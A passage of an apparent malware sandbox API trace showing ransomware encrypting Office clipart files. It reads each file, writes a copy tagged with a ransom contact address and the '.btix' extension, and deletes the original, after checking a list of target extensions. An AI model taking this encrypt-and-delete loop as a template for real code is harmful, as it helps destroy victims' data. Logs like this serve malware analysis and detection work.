office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.473] GetLastError () returned 0x0 [0137.473] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x4ae, lpOverlapped=0x0) returned 1 [0137.474] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4b0, lpOverlapped=0x0) returned 1 [0137.475] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.475] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.475] SetEndOfFile (hFile=0x4a8) returned 1 [0137.476] CloseHandle (hObject=0x4a8) returned 1 [0137.476] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.476] SetEndOfFile (hFile=0x534) returned 1 [0137.478] CloseHandle (hObject=0x534) returned 1 [0137.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.479] lstrlenW (lpString=".doc") returned 4 [0137.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.479] lstrlenW (lpString=".docx") returned 5 [0137.479] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0137.479] lstrlenW (lpString=".pdf") returned 4 [0137.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.479] lstrlenW (lpString=".xls") returned 4 [0137.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.479] lstrlenW (lpString=".xlsx") returned 5 [0137.479] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0137.479] lstrlenW (lpString=".ppt") returned 4 [0137.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.479] lstrlenW (lpString=".zip") returned 4 [0137.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.479] lstrlenW (lpString=".rar") returned 4 [0137.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.479] lstrlenW (lpString=".bz2") returned 4 [0137.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.479] lstrlenW (lpString=".7z") returned 3 [0137.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.480] lstrlenW (lpString=".dbf") returned 4 [0137.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.480] lstrlenW (lpString=".1cd") returned 4 [0137.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.480] lstrlenW (lpString=".jpg") returned 4 [0137.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.480] lstrlenW (lpString=".doc") returned 4 [0137.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.480] lstrlenW (lpString=".docx") returned 5 [0137.480] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0137.480] lstrlenW (lpString=".pdf") returned 4 [0137.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.480] lstrlenW (lpString=".xls") returned 4 [0137.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.480] lstrlenW (lpString=".xlsx") returned 5 [0137.480] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0137.480] lstrlenW (lpString=".ppt") returned 4 [0137.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.481] lstrlenW (lpString=".zip") returned 4 [0137.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.481] lstrlenW (lpString=".rar") returned 4 [0137.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.481] lstrlenW (lpString=".bz2") returned 4 [0137.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.481] lstrlenW (lpString=".7z") returned 3 [0137.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.481] lstrlenW (lpString=".dbf") returned 4 [0137.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.481] lstrlenW (lpString=".1cd") returned 4 [0137.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0137.481] lstrlenW (lpString=".jpg") returned 4 [0137.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.481] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.481] lstrlenW (lpString="J0099182.WMF") returned 12 [0137.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.483] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=3840) returned 1 [0137.483] CloseHandle (hObject=0x534) returned 1 [0137.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0137.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.483] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.484] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.484] GetLastError () returned 0x0 [0137.484] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0xf00, lpOverlapped=0x0) returned 1 [0137.494] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf10, lpOverlapped=0x0) returned 1 [0137.495] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.495] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.495] SetEndOfFile (hFile=0x4a8) returned 1 [0137.496] CloseHandle (hObject=0x4a8) returned 1 [0137.496] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.496] SetEndOfFile (hFile=0x534) returned 1 [0137.499] CloseHandle (hObject=0x534) returned 1 [0137.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0137.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.500] lstrlenW (lpString=".doc") returned 4 [0137.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.500] lstrlenW (lpString=".docx") returned 5 [0137.500] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0137.500] lstrlenW (lpString=".pdf") returned 4 [0137.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.500] lstrlenW (lpString=".xls") returned 4 [0137.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.501] lstrlenW (lpString=".xlsx") returned 5 [0137.501] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0137.501] lstrlenW (lpString=".ppt") returned 4 [0137.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.501] lstrlenW (lpString=".zip") returned 4 [0137.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.501] lstrlenW (lpString=".rar") returned 4 [0137.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString=".bz2") returned 4 [0137.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString=".7z") returned 3 [0137.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.501] lstrlenW (lpString=".dbf") returned 4 [0137.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.501] lstrlenW (lpString=".1cd") returned 4 [0137.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.501] lstrlenW (lpString=".jpg") returned 4 [0137.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.501] lstrlenW (lpString=".doc") returned 4 [0137.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString=".docx") returned 5 [0137.501] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0137.501] lstrlenW (lpString=".pdf") returned 4 [0137.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.501] lstrlenW (lpString=".xls") returned 4 [0137.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.501] lstrlenW (lpString=".xlsx") returned 5 [0137.502] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0137.502] lstrlenW (lpString=".ppt") returned 4 [0137.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.502] lstrlenW (lpString=".zip") returned 4 [0137.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.502] lstrlenW (lpString=".rar") returned 4 [0137.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.502] lstrlenW (lpString=".bz2") returned 4 [0137.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.502] lstrlenW (lpString=".7z") returned 3 [0137.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.502] lstrlenW (lpString=".dbf") returned 4 [0137.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.502] lstrlenW (lpString=".1cd") returned 4 [0137.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0137.502] lstrlenW (lpString=".jpg") returned 4 [0137.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.502] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.502] lstrlenW (lpString="J0099183.WMF") returned 12 [0137.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.503] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4946) returned 1 [0137.503] CloseHandle (hObject=0x534) returned 1 [0137.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0137.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.503] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.504] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0137.504] GetLastError () returned 0x0 [0137.504] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1352, lpOverlapped=0x0) returned 1 [0137.506] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1360, lpOverlapped=0x0) returned 1 [0137.507] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0137.507] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0137.507] SetEndOfFile (hFile=0x4a8) returned 1 [0137.507] CloseHandle (hObject=0x4a8) returned 1 [0137.507] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.507] SetEndOfFile (hFile=0x534) returned 1 [0137.602] CloseHandle (hObject=0x534) returned 1 [0137.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0137.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.603] lstrlenW (lpString=".doc") returned 4 [0137.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.603] lstrlenW (lpString=".docx") returned 5 [0137.603] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0137.603] lstrlenW (lpString=".pdf") returned 4 [0137.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.604] lstrlenW (lpString=".xls") returned 4 [0137.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.604] lstrlenW (lpString=".xlsx") returned 5 [0137.604] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0137.604] lstrlenW (lpString=".ppt") returned 4 [0137.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.604] lstrlenW (lpString=".zip") returned 4 [0137.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.604] lstrlenW (lpString=".rar") returned 4 [0137.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.604] lstrlenW (lpString=".bz2") returned 4 [0137.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.604] lstrlenW (lpString=".7z") returned 3 [0137.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.604] lstrlenW (lpString=".dbf") returned 4 [0137.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.604] lstrlenW (lpString=".1cd") returned 4 [0137.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.604] lstrlenW (lpString=".jpg") returned 4 [0137.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.604] lstrlenW (lpString=".doc") returned 4 [0137.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.605] lstrlenW (lpString=".docx") returned 5 [0137.605] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0137.605] lstrlenW (lpString=".pdf") returned 4 [0137.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.605] lstrlenW (lpString=".xls") returned 4 [0137.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.605] lstrlenW (lpString=".xlsx") returned 5 [0137.605] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0137.605] lstrlenW (lpString=".ppt") returned 4 [0137.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.605] lstrlenW (lpString=".zip") returned 4 [0137.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.605] lstrlenW (lpString=".rar") returned 4 [0137.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.605] lstrlenW (lpString=".bz2") returned 4 [0137.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.605] lstrlenW (lpString=".7z") returned 3 [0137.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.605] lstrlenW (lpString=".dbf") returned 4 [0137.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.605] lstrlenW (lpString=".1cd") returned 4 [0137.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0137.605] lstrlenW (lpString=".jpg") returned 4 [0137.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.605] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.606] lstrlenW (lpString="J0099184.WMF") returned 12 [0137.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.609] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4118) returned 1 [0137.609] CloseHandle (hObject=0x534) returned 1 [0137.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0137.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0137.610] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.610] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0137.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0137.613] GetLastError () returned 0x0 [0137.613] ReadFile (in: hFile=0x534, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1016, 